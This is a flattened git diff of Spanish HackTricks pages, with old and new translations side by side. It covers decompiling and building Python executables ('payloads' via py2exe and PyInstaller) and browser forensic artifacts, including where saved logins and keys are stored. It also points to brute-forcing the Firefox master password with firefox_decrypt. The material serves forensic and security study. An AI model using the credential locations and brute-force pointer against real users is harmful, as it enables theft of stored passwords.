Un problema común encontrado implica un archivo de bytecode de Python incompleto resultante del **proceso de desempaquetado con unpy2exe o pyinstxtractor**, que luego **no es reconocido por uncompyle6 debido a la falta de un número de versión de bytecode de Python**. Para abordar esto, se ha añadido una opción de prepend, que añade el número de versión de bytecode de Python necesario, facilitando el proceso de decompilación. Un problema común encontrado involucra un archivo de bytecode de Python incompleto resultante del **proceso de desempaquetado con unpy2exe o pyinstxtractor**, que luego **no es reconocido por uncompyle6 debido a un número de versión de bytecode de Python faltante**. Para abordar esto, se ha añadido una opción de prepend, que agrega el número de versión de bytecode de Python necesario, facilitando el proceso de descompilación.
Ejemplo del problema: Ejemplo del problema:
```python ```python
@ -114,9 +115,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
# Successfully decompiled file # Successfully decompiled file
[+] Successfully decompiled. [+] Successfully decompiled.
``` ```
## Analizando el ensamblado de Python ## Análisis de ensamblaje de python
Si no pudiste extraer el código "original" de Python siguiendo los pasos anteriores, entonces puedes intentar **extraer** el **ensamblado** (pero **no es muy descriptivo**, así que intenta extraer **nuevamente** el código original). En [aquí](https://bits.theorem.co/protecting-a-python-codebase/) encontré un código muy simple para **desensamblar** el binario _.pyc_ (buena suerte entendiendo el flujo del código). Si el _.pyc_ es de Python2, utiliza python2: Si no pudiste extraer el código "original" de python siguiendo los pasos anteriores, entonces puedes intentar **extraer** el **ensamblaje** (pero **no es muy descriptivo**, así que **intenta** extraer **nuevamente** el código original). En [aquí](https://bits.theorem.co/protecting-a-python-codebase/) encontré un código muy simple para **desensamblar** el binario _.pyc_ (buena suerte entendiendo el flujo del código). Si el _.pyc_ es de python2, usa python2:
```bash ```bash
>>> import dis >>> import dis
>>> import marshal >>> import marshal
@ -161,13 +162,13 @@ True
``` ```
## Python a Ejecutable ## Python a Ejecutable
Para empezar, vamos a mostrarte cómo los payloads pueden ser compilados en py2exe y PyInstaller. Para comenzar, vamos a mostrarte cómo se pueden compilar cargas útiles en py2exe y PyInstaller.
### Para crear un payload usando py2exe: ### Para crear una carga útil usando py2exe:
1. Instala el paquete py2exe desde [http://www.py2exe.org/](http://www.py2exe.org) 1. Instala el paquete py2exe desde [http://www.py2exe.org/](http://www.py2exe.org)
2. Para el payload (en este caso, lo nombraremos hello.py), utiliza un script como el que se muestra en la Figura 1. La opción "bundle\_files" con el valor de 1 empaquetará todo, incluido el intérprete de Python, en un solo ejecutable. 2. Para la carga útil (en este caso, la llamaremos hello.py), utiliza un script como el de la Figura 1. La opción “bundle\_files” con el valor de 1 agrupará todo, incluyendo el intérprete de Python, en un solo exe.
3. Una vez que el script esté listo, emitiremos el comando "python setup.py py2exe". Esto creará el ejecutable, tal como se muestra en la Figura 2. 3. Una vez que el script esté listo, emitiremos el comando “python setup.py py2exe”. Esto creará el ejecutable, tal como en la Figura 2.
```python ```python
from distutils.core import setup from distutils.core import setup
import py2exe, sys, os import py2exe, sys, os
@ -197,8 +198,8 @@ Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
``` ```
### Para crear un payload usando PyInstaller: ### Para crear un payload usando PyInstaller:
1. Instalar PyInstaller usando pip (pip install pyinstaller). 1. Instala PyInstaller usando pip (pip install pyinstaller).
2. Después de eso, emitiremos el comando "pyinstaller --onefile hello.py" (un recordatorio de que 'hello.py' es nuestro payload). Esto empaquetará todo en un ejecutable. 2. Después de eso, emitiremos el comando “pyinstaller onefile hello.py” (un recordatorio de que hello.py es nuestro payload). Esto empaquetará todo en un solo ejecutable.
``` ```
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
108 INFO: PyInstaller: 3.3.1 108 INFO: PyInstaller: 3.3.1
@ -217,20 +218,21 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Consejo de recompensa por errores**: ¡**Regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, ¡y comienza a ganar recompensas de hasta **$100,000**! **Consejo de recompensas por errores**: **regístrate** en **Intigriti**, una **plataforma de recompensas por errores premium creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,78 +1,79 @@
# Artefactos del Navegador # Browser Artifacts
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
¡Accede hoy mismo: Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Artefactos de Navegadores <a href="#id-3def" id="id-3def"></a> ## Artefactos del Navegador <a href="#id-3def" id="id-3def"></a>
Los artefactos del navegador incluyen varios tipos de datos almacenados por los navegadores web, como el historial de navegación, marcadores y datos de caché. Estos artefactos se guardan en carpetas específicas dentro del sistema operativo, con ubicaciones y nombres diferentes en cada navegador, pero generalmente almacenando tipos de datos similares. Los artefactos del navegador incluyen varios tipos de datos almacenados por los navegadores web, como el historial de navegación, marcadores y datos de caché. Estos artefactos se mantienen en carpetas específicas dentro del sistema operativo, variando en ubicación y nombre entre navegadores, pero generalmente almacenando tipos de datos similares.
Aquí tienes un resumen de los artefactos más comunes del navegador: Aquí hay un resumen de los artefactos de navegador más comunes:
* **Historial de Navegación**: Registra las visitas del usuario a sitios web, útil para identificar visitas a sitios maliciosos. * **Historial de Navegación**: Registra las visitas del usuario a sitios web, útil para identificar visitas a sitios maliciosos.
* **Datos de Autocompletar**: Sugerencias basadas en búsquedas frecuentes, ofreciendo información cuando se combina con el historial de navegación. * **Datos de Autocompletar**: Sugerencias basadas en búsquedas frecuentes, ofreciendo información cuando se combinan con el historial de navegación.
* **Marcadores**: Sitios guardados por el usuario para un acceso rápido. * **Marcadores**: Sitios guardados por el usuario para acceso rápido.
* **Extensiones y Complementos**: Extensiones del navegador o complementos instalados por el usuario. * **Extensiones y Complementos**: Extensiones o complementos del navegador instalados por el usuario.
* **Caché**: Almacena contenido web (por ejemplo, imágenes, archivos JavaScript) para mejorar los tiempos de carga del sitio web, valioso para análisis forense. * **Caché**: Almacena contenido web (por ejemplo, imágenes, archivos JavaScript) para mejorar los tiempos de carga de los sitios web, valioso para el análisis forense.
* **Inicios de Sesión**: Credenciales de inicio de sesión almacenadas. * **Inicios de Sesión**: Credenciales de inicio de sesión almacenadas.
* **Favicons**: Iconos asociados con sitios web, que aparecen en pestañas y marcadores, útiles para obtener información adicional sobre las visitas del usuario. * **Favicons**: Iconos asociados con sitios web, que aparecen en pestañas y marcadores, útiles para información adicional sobre las visitas del usuario.
* **Sesiones del Navegador**: Datos relacionados con las sesiones del navegador abiertas. * **Sesiones del Navegador**: Datos relacionados con las sesiones abiertas del navegador.
* **Descargas**: Registros de archivos descargados a través del navegador. * **Descargas**: Registros de archivos descargados a través del navegador.
* **Datos de Formularios**: Información introducida en formularios web, guardada para sugerencias de autocompletar en el futuro. * **Datos de Formularios**: Información ingresada en formularios web, guardada para futuras sugerencias de autocompletar.
* **Miniaturas**: Imágenes de vista previa de sitios web. * **Miniaturas**: Imágenes de vista previa de sitios web.
* **Custom Dictionary.txt**: Palabras añadidas por el usuario al diccionario del navegador. * **Custom Dictionary.txt**: Palabras añadidas por el usuario al diccionario del navegador.
## Firefox ## Firefox
Firefox organiza los datos del usuario en perfiles, almacenados en ubicaciones específicas según el sistema operativo: Firefox organiza los datos del usuario dentro de perfiles, almacenados en ubicaciones específicas según el sistema operativo:
* **Linux**: `~/.mozilla/firefox/` * **Linux**: `~/.mozilla/firefox/`
* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` * **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` * **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
Un archivo `profiles.ini` dentro de estos directorios lista los perfiles de usuario. Los datos de cada perfil se almacenan en una carpeta nombrada en la variable `Path` dentro de `profiles.ini`, ubicada en el mismo directorio que `profiles.ini` en sí. Si falta la carpeta de un perfil, es posible que haya sido eliminada. Un archivo `profiles.ini` dentro de estos directorios lista los perfiles de usuario. Los datos de cada perfil se almacenan en una carpeta nombrada en la variable `Path` dentro de `profiles.ini`, ubicada en el mismo directorio que `profiles.ini` mismo. Si falta la carpeta de un perfil, puede haber sido eliminada.
Dentro de cada carpeta de perfil, puedes encontrar varios archivos importantes: Dentro de cada carpeta de perfil, puedes encontrar varios archivos importantes:
* **places.sqlite**: Almacena historial, marcadores y descargas. Herramientas como [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) en Windows pueden acceder a los datos del historial. * **places.sqlite**: Almacena historial, marcadores y descargas. Herramientas como [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) en Windows pueden acceder a los datos del historial.
* Utiliza consultas SQL específicas para extraer información del historial y descargas. * Usa consultas SQL específicas para extraer información de historial y descargas.
* **bookmarkbackups**: Contiene copias de seguridad de marcadores. * **bookmarkbackups**: Contiene copias de seguridad de marcadores.
* **formhistory.sqlite**: Almacena datos de formularios web. * **formhistory.sqlite**: Almacena datos de formularios web.
* **handlers.json**: Gestiona los manejadores de protocolo. * **handlers.json**: Gestiona los controladores de protocolo.
* **persdict.dat**: Palabras personalizadas del diccionario. * **persdict.dat**: Palabras del diccionario personalizado.
* **addons.json** y **extensions.sqlite**: Información sobre extensiones y complementos instalados. * **addons.json** y **extensions.sqlite**: Información sobre complementos y extensiones instalados.
* **cookies.sqlite**: Almacenamiento de cookies, con [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponible para inspección en Windows. * **cookies.sqlite**: Almacenamiento de cookies, con [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponible para inspección en Windows.
* **cache2/entries** o **startupCache**: Datos de caché, accesibles a través de herramientas como [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html). * **cache2/entries** o **startupCache**: Datos de caché, accesibles a través de herramientas como [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html).
* **favicons.sqlite**: Almacena favicons. * **favicons.sqlite**: Almacena favicons.
* **prefs.js**: Ajustes y preferencias del usuario. * **prefs.js**: Configuraciones y preferencias del usuario.
* **downloads.sqlite**: Base de datos de descargas antiguas, ahora integrada en places.sqlite. * **downloads.sqlite**: Base de datos de descargas antiguas, ahora integrada en places.sqlite.
* **thumbnails**: Miniaturas de sitios web. * **thumbnails**: Miniaturas de sitios web.
* **logins.json**: Información de inicio de sesión encriptada. * **logins.json**: Información de inicio de sesión encriptada.
* **key4.db** o **key3.db**: Almacena claves de cifrado para asegurar información sensible. * **key4.db** o **key3.db**: Almacena claves de encriptación para asegurar información sensible.
Además, verificar la configuración de antiphishing del navegador se puede hacer buscando entradas `browser.safebrowsing` en `prefs.js`, indicando si las funciones de navegación segura están habilitadas o deshabilitadas. Además, verificar la configuración de anti-phishing del navegador se puede hacer buscando entradas `browser.safebrowsing` en `prefs.js`, indicando si las funciones de navegación segura están habilitadas o deshabilitadas.
Para intentar descifrar la contraseña maestra, puedes usar [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\ Para intentar descifrar la contraseña maestra, puedes usar [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
Con el siguiente script y llamada puedes especificar un archivo de contraseña para realizar un ataque de fuerza bruta: Con el siguiente script y llamada puedes especificar un archivo de contraseña para hacer fuerza bruta:
{% code title="brute.sh" %} {% code title="brute.sh" %}
```bash ```bash
@ -97,82 +98,82 @@ Google Chrome almacena perfiles de usuario en ubicaciones específicas según el
* **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` * **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
* **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` * **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
Dentro de estos directorios, la mayoría de los datos de usuario se encuentran en las carpetas **Default/** o **ChromeDefaultData/**. Los siguientes archivos contienen datos significativos: Dentro de estos directorios, la mayoría de los datos del usuario se pueden encontrar en las carpetas **Default/** o **ChromeDefaultData/**. Los siguientes archivos contienen datos significativos:
* **Historial**: Contiene URLs, descargas y palabras clave de búsqueda. En Windows, se puede utilizar [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) para leer el historial. La columna "Tipo de transición" tiene varios significados, incluidos clics de usuario en enlaces, URLs escritas, envíos de formularios y recargas de página. * **History**: Contiene URLs, descargas y palabras clave de búsqueda. En Windows, se puede usar [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) para leer el historial. La columna "Transition Type" tiene varios significados, incluyendo clics del usuario en enlaces, URLs escritas, envíos de formularios y recargas de página.
* **Cookies**: Almacena cookies. Para inspeccionarlas, está disponible [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html). * **Cookies**: Almacena cookies. Para inspección, está disponible [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html).
* **Caché**: Contiene datos en caché. Para inspeccionarlos, los usuarios de Windows pueden utilizar [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html). * **Cache**: Contiene datos en caché. Para inspeccionar, los usuarios de Windows pueden utilizar [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html).
* **Marcadores**: Marcadores del usuario. * **Bookmarks**: Marcadores del usuario.
* **Datos web**: Contiene historial de formularios. * **Web Data**: Contiene el historial de formularios.
* **Favicons**: Almacena favicons de sitios web. * **Favicons**: Almacena favicons de sitios web.
* **Datos de inicio de sesión**: Incluye credenciales de inicio de sesión como nombres de usuario y contraseñas. * **Login Data**: Incluye credenciales de inicio de sesión como nombres de usuario y contraseñas.
* **Sesión actual**/**Pestañas actuales**: Datos sobre la sesión de navegación actual y las pestañas abiertas. * **Current Session**/**Current Tabs**: Datos sobre la sesión de navegación actual y las pestañas abiertas.
* **Última sesión**/**Últimas pestañas**: Información sobre los sitios activos durante la última sesión antes de que se cerrara Chrome. * **Last Session**/**Last Tabs**: Información sobre los sitios activos durante la última sesión antes de que se cerrara Chrome.
* **Extensiones**: Directorios para extensiones y complementos del navegador. * **Extensions**: Directorios para extensiones y complementos del navegador.
* **Miniaturas**: Almacena miniaturas de sitios web. * **Thumbnails**: Almacena miniaturas de sitios web.
* **Preferencias**: Un archivo rico en información, que incluye configuraciones para complementos, extensiones, ventanas emergentes, notificaciones y más. * **Preferences**: Un archivo rico en información, incluyendo configuraciones para complementos, extensiones, ventanas emergentes, notificaciones y más.
* **Antiphishing integrado del navegador**: Para verificar si la protección contra phishing y malware está habilitada, ejecuta `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Busca `{"enabled: true,"}` en la salida. * **Browsers built-in anti-phishing**: Para verificar si la protección contra phishing y malware está habilitada, ejecute `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Busque `{"enabled: true,"}` en la salida.
## **Recuperación de datos de bases de datos SQLite** ## **Recuperación de Datos de SQLite DB**
Como se puede observar en las secciones anteriores, tanto Chrome como Firefox utilizan bases de datos **SQLite** para almacenar los datos. Es posible **recuperar entradas eliminadas utilizando la herramienta** [**sqlparse**](https://github.com/padfoot999/sqlparse) **o** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). Como se puede observar en las secciones anteriores, tanto Chrome como Firefox utilizan bases de datos **SQLite** para almacenar los datos. Es posible **recuperar entradas eliminadas utilizando la herramienta** [**sqlparse**](https://github.com/padfoot999/sqlparse) **o** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
## **Internet Explorer 11** ## **Internet Explorer 11**
Internet Explorer 11 gestiona sus datos y metadatos en varias ubicaciones, lo que ayuda a separar la información almacenada y sus detalles correspondientes para facilitar el acceso y la gestión. Internet Explorer 11 gestiona sus datos y metadatos en varias ubicaciones, ayudando a separar la información almacenada y sus detalles correspondientes para un fácil acceso y gestión.
### Almacenamiento de metadatos ### Almacenamiento de Metadatos
Los metadatos de Internet Explorer se almacenan en `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (siendo VX V01, V16 o V24). Ades, el archivo `V01.log` puede mostrar discrepancias en la hora de modificación con `WebcacheVX.data`, lo que indica la necesidad de reparación utilizando `esentutl /r V01 /d`. Estos metadatos, alojados en una base de datos ESE, pueden recuperarse e inspeccionarse utilizando herramientas como photorec y [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), respectivamente. Dentro de la tabla **Containers**, se puede discernir las tablas o contenedores específicos donde se almacena cada segmento de datos, incluidos detalles de caché para otras herramientas de Microsoft como Skype. Los metadatos para Internet Explorer se almacenan en `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (siendo VX V01, V16 o V24). Acompañando esto, el archivo `V01.log` puede mostrar discrepancias en el tiempo de modificación con `WebcacheVX.data`, indicando la necesidad de reparación usando `esentutl /r V01 /d`. Estos metadatos, alojados en una base de datos ESE, pueden ser recuperados e inspeccionados utilizando herramientas como photorec y [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), respectivamente. Dentro de la tabla **Containers**, se puede discernir las tablas o contenedores específicos donde se almacena cada segmento de datos, incluyendo detalles de caché para otras herramientas de Microsoft como Skype.
### Inspección de caché ### Inspección de Caché
La herramienta [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) permite la inspección de la caché, requiriendo la ubicación de la carpeta de extracción de datos de caché. Los metadatos de la caché incluyen nombre de archivo, directorio, recuento de accesos, origen de URL y marcas de tiempo que indican la creación de la caché, acceso, modificación y tiempos de caducidad. La herramienta [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) permite la inspección de caché, requiriendo la ubicación de la carpeta de extracción de datos de caché. Los metadatos de caché incluyen nombre de archivo, directorio, conteo de accesos, origen de URL y marcas de tiempo que indican los tiempos de creación, acceso, modificación y expiración de la caché.
### Gestión de cookies ### Gestión de Cookies
Las cookies se pueden explorar utilizando [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), con metadatos que abarcan nombres, URLs, recuentos de accesos y varios detalles relacionados con el tiempo. Las cookies persistentes se almacenan en `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, mientras que las cookies de sesión residen en la memoria. Las cookies se pueden explorar utilizando [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), con metadatos que abarcan nombres, URLs, conteos de acceso y varios detalles relacionados con el tiempo. Las cookies persistentes se almacenan en `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, mientras que las cookies de sesión residen en la memoria.
### Detalles de descargas ### Detalles de Descarga
Los metadatos de descargas son accesibles a través de [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), con contenedores específicos que contienen datos como URL, tipo de archivo y ubicación de descarga. Los archivos físicos se pueden encontrar en `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. Los metadatos de descargas son accesibles a través de [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), con contenedores específicos que contienen datos como URL, tipo de archivo y ubicación de descarga. Los archivos físicos se pueden encontrar en `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
### Historial de navegación ### Historial de Navegación
Para revisar el historial de navegación, se puede utilizar [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), que requiere la ubicación de los archivos de historial extraídos y la configuración para Internet Explorer. Los metadatos aquí incluyen tiempos de modificación y acceso, junto con recuentos de acceso. Los archivos de historial se encuentran en `%userprofile%\Appdata\Local\Microsoft\Windows\History`. Para revisar el historial de navegación, se puede usar [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), requiriendo la ubicación de los archivos de historial extraídos y la configuración para Internet Explorer. Los metadatos aquí incluyen tiempos de modificación y acceso, junto con conteos de acceso. Los archivos de historial se encuentran en `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
### URLs escritas ### URLs Escritas
Las URLs escritas y sus tiempos de uso se almacenan en el registro en `NTUSER.DAT` en `Software\Microsoft\InternetExplorer\TypedURLs` y `Software\Microsoft\InternetExplorer\TypedURLsTime`, rastreando las últimas 50 URLs ingresadas por el usuario y sus últimos tiempos de entrada. Las URLs escritas y sus tiempos de uso se almacenan en el registro bajo `NTUSER.DAT` en `Software\Microsoft\InternetExplorer\TypedURLs` y `Software\Microsoft\InternetExplorer\TypedURLsTime`, rastreando las últimas 50 URLs ingresadas por el usuario y sus últimos tiempos de entrada.
## Microsoft Edge ## Microsoft Edge
Microsoft Edge almacena datos de usuario en `%userprofile%\Appdata\Local\Packages`. Las rutas para varios tipos de datos son: Microsoft Edge almacena datos de usuario en `%userprofile%\Appdata\Local\Packages`. Las rutas para varios tipos de datos son:
* **Ruta del perfil**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` * **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
* **Historial, Cookies y Descargas**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` * **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
* **Configuraciones, Marcadores y Lista de lectura**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb` * **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
* **Caché**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache` * **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
* **Últimas sesiones activas**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active` * **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
## Safari ## Safari
Los datos de Safari se almacenan en `/Users/$User/Library/Safari`. Los archivos clave incluyen: Los datos de Safari se almacenan en `/Users/$User/Library/Safari`. Los archivos clave incluyen:
* **History.db**: Contiene tablas `history_visits` y `history_items` con URLs y marcas de tiempo de visita. Usa `sqlite3` para consultar. * **History.db**: Contiene tablas `history_visits` y `history_items` con URLs y marcas de tiempo de visita. Use `sqlite3` para consultar.
* **Downloads.plist**: Información sobre archivos descargados. * **Downloads.plist**: Información sobre archivos descargados.
* **Bookmarks.plist**: Almacena URLs marcadas. * **Bookmarks.plist**: Almacena URLs marcadas.
* **TopSites.plist**: Sitios más visitados. * **TopSites.plist**: Sitios más visitados.
* **Extensions.plist**: Lista de extensiones del navegador Safari. Usa `plutil` o `pluginkit` para recuperar. * **Extensions.plist**: Lista de extensiones del navegador Safari. Use `plutil` o `pluginkit` para recuperar.
* **UserNotificationPermissions.plist**: Dominios permitidos para enviar notificaciones. Usa `plutil` para analizar. * **UserNotificationPermissions.plist**: Dominios permitidos para enviar notificaciones. Use `plutil` para analizar.
* **LastSession.plist**: Pestañas de la última sesión. Usa `plutil` para analizar. * **LastSession.plist**: Pestañas de la última sesión. Use `plutil` para analizar.
* **Antiphishing integrado del navegador**: Verifica usando `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Una respuesta de 1 indica que la función está activa. * **Browsers built-in anti-phishing**: Verifique usando `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Una respuesta de 1 indica que la función está activa.
## Opera ## Opera
Los datos de Opera residen en `/Users/$USER/Library/Application Support/com.operasoftware.Opera` y comparten el formato de Chrome para historial y descargas. Los datos de Opera residen en `/Users/$USER/Library/Application Support/com.operasoftware.Opera` y comparte el formato de Chrome para historial y descargas.
* **Antiphishing integrado del navegador**: Verifica si `fraud_protection_enabled` en el archivo de Preferencias está configurado en `true` usando `grep`. * **Browsers built-in anti-phishing**: Verifique comprobando si `fraud_protection_enabled` en el archivo de Preferencias está configurado como `true` usando `grep`.
